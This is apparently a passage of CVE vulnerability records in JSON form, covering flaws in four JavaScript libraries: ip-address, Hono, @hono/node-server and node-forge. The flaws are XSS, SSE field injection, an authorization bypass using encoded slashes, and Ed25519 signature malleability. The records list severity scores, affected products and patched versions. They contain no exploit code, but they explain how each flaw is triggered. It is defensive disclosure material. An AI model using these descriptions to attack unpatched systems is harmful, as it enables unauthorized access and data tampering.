"dataVersion": "5.2"
}
CVE-2026-42338 (GCVE-0-2026-42338)
Vulnerability from cvelistv5 – Published: 2026-05-12 19:43 – Updated: 2026-07-02 12:05- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| beaugunderson | ip-address |
Affected:
< 10.1.1
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42338",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-13T14:46:11.633277Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T14:46:50.469Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:confidential_compute_attestation:1"
],
"defaultStatus": "affected",
"product": "Confidential Compute Attestation",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:exploit_intelligence:0"
],
"defaultStatus": "affected",
"product": "Exploit Intelligence",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1"
],
"defaultStatus": "affected",
"product": "Migration Toolkit for Containers",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "affected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:0"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop - Tech Preview",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:hummingbird:1"
],
"defaultStatus": "affected",
"product": "Red Hat Hardened Images",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_portal:2"
],
"defaultStatus": "affected",
"product": "Self-service automation portal 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:camel_spring_boot:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel for Spring Boot 4",
"vendor": "Red Hat"
}
],
"datePublic": "2026-05-12T19:43:16.470Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in ip-address, a JavaScript library for parsing and manipulating IPv4 and IPv6 addresses. This vulnerability allows a remote attacker to perform cross-site scripting (XSS) by providing untrusted input to the Address6 constructor. When an application renders the output of Address6.group(), Address6.link(), or the AddressError.parseMessage as HTML without proper escaping, the attacker-controlled content can be executed in the user\u0027s browser."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:05:13.762Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-42338"
},
{
"name": "RHBZ#2476810",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2476810"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42338.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34374"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33574"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33155"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33160"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33163"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33173"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33183"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:34374: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:33155: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:33160: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:33163: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:33173: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:33183: Red Hat OpenShift Service Mesh 3.3"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-05-12T21:01:14.436Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-05-12T19:43:16.470Z",
"value": "Made public."
}
],
"title": "ip-address: ip-address: Cross-site scripting via improper HTML escaping of untrusted input",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "ip-address",
"vendor": "beaugunderson",
"versions": [
{
"status": "affected",
"version": "\u003c 10.1.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "ip-address is a library for parsing and manipulating IPv4 and IPv6 addresses in JavaScript. Prior to 10.1.1, Address6.group() and Address6.link() do not HTML-escape attacker-controlled content before embedding it in the HTML strings they return, and AddressError.parseMessage (emitted by the Address6 constructor for invalid input) can contain unescaped attacker-controlled content in one branch. An application that (1) passes untrusted input to Address6 and (2) renders the output of these methods, or the thrown error\u0027s parseMessage, as HTML (e.g. via innerHTML) is vulnerable to cross-site scripting. This vulnerability is fixed in 10.1.1."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-12T19:43:16.470Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g"
}
],
"source": {
"advisory": "GHSA-v2v4-37r5-5v8g",
"discovery": "UNKNOWN"
},
"title": "ip-address: XSS in Address6 HTML-emitting methods"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42338",
"datePublished": "2026-05-12T19:43:16.470Z",
"dateReserved": "2026-04-26T13:26:14.514Z",
"dateUpdated": "2026-07-02T12:05:13.762Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-29085 (GCVE-0-2026-29085)
Vulnerability from cvelistv5 – Published: 2026-03-04 22:09 – Updated: 2026-03-05 15:41- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-29085",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-05T15:39:27.354913Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-05T15:41:57.607Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.4"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.12.4, when using streamSSE() in Streaming Helper, the event, id, and retry fields were not validated for carriage return (\\r) or newline (\\n) characters. Because the SSE protocol uses line breaks as field delimiters, this could allow injection of additional SSE fields within the same event frame if untrusted input was passed into these fields. This issue has been patched in version 4.12.4."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-04T22:09:45.580Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-p6xx-57qc-3wxr",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-p6xx-57qc-3wxr"
},
{
"name": "https://github.com/honojs/hono/commit/f4123ed9ea3c7c52380cc99a079a4d773838846e",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/f4123ed9ea3c7c52380cc99a079a4d773838846e"
}
],
"source": {
"advisory": "GHSA-p6xx-57qc-3wxr",
"discovery": "UNKNOWN"
},
"title": "Hono: SSE Control Field Injection via CR/LF in writeSSE()"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-29085",
"datePublished": "2026-03-04T22:09:45.580Z",
"dateReserved": "2026-03-03T20:51:43.484Z",
"dateUpdated": "2026-03-05T15:41:57.607Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-29087 (GCVE-0-2026-29087)
Vulnerability from cvelistv5 – Published: 2026-03-06 17:03 – Updated: 2026-03-06 18:02- CWE-863 - Incorrect Authorization
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| honojs | node-server |
Affected:
< 1.19.10
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-29087",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-06T17:58:30.981713Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-06T18:02:36.517Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-server",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 1.19.10"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "@hono/node-server allows running the Hono application on Node.js. Prior to version 1.19.10, when using @hono/node-server\u0027s static file serving together with route-based middleware protections (e.g. protecting /admin/*), inconsistent URL decoding can allow protected static resources to be accessed without authorization. In particular, paths containing encoded slashes (%2F) may be evaluated differently by routing/middleware matching versus static file path resolution, enabling a bypass where middleware does not run but the static file is still served. This issue has been patched in version 1.19.10."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863: Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-06T17:03:30.412Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/node-server/security/advisories/GHSA-wc8c-qw6v-h7f6",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/node-server/security/advisories/GHSA-wc8c-qw6v-h7f6"
},
{
"name": "https://github.com/honojs/node-server/commit/455015be1697dd89974a68b70350ea7b2d126d2e",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/node-server/commit/455015be1697dd89974a68b70350ea7b2d126d2e"
}
],
"source": {
"advisory": "GHSA-wc8c-qw6v-h7f6",
"discovery": "UNKNOWN"
},
"title": "@hono/node-server: Authorization bypass for protected static paths via encoded slashes in Serve Static Middleware"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-29087",
"datePublished": "2026-03-06T17:03:30.412Z",
"dateReserved": "2026-03-03T20:51:43.484Z",
"dateUpdated": "2026-03-06T18:02:36.517Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33895 (GCVE-0-2026-33895)
Vulnerability from cvelistv5 – Published: 2026-03-27 20:47 – Updated: 2026-07-02 12:05- CWE-347 - Improper Verification of Cryptographic Signature
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| digitalbazaar | forge |
Affected:
< 1.4.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33895",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T18:39:49.350161Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T19:10:01.632Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-27T20:47:54.492Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Forge (also called `node-forge`), a JavaScript library used for Transport Layer Security (TLS). The library\u0027s Ed25519 signature verification process does not correctly validate cryptographic signatures, allowing forged non-canonical signatures to be accepted. A remote attacker could exploit this signature malleability to bypass authentication and authorization logic. This vulnerability can also circumvent security checks in applications that rely on the uniqueness of cryptographic signatures for functions such as deduplication or preventing replay attacks."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:05:18.203Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-33895"
},
{
"name": "RHBZ#2452457",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452457"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33895.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-27T21:02:18.484Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-27T20:47:54.492Z",
"value": "Made public."
}
],
"title": "node-forge: Forge: Authentication bypass via forged Ed25519 cryptographic signatures",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "forge",
"vendor": "digitalbazaar",
"versions": [
{
"status": "affected",
"version": "\u003c 1.4.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347: Improper Verification of Cryptographic Signature",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T20:47:54.492Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
},
{
"name": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
},
{
"name": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4",
"tags": [
"x_refsource_MISC"
],
"url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
}
],
"source": {
"advisory": "GHSA-q67f-28xg-22rw",
"discovery": "UNKNOWN"
},
"title": "Forge has signature forgery in Ed25519 due to missing S \u003e L check"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33895",
"datePublished": "2026-03-27T20:47:54.492Z",
"dateReserved": "2026-03-24T15:41:47.490Z",
"dateUpdated": "2026-07-02T12:05:18.203Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44456 (GCVE-0-2026-44456)
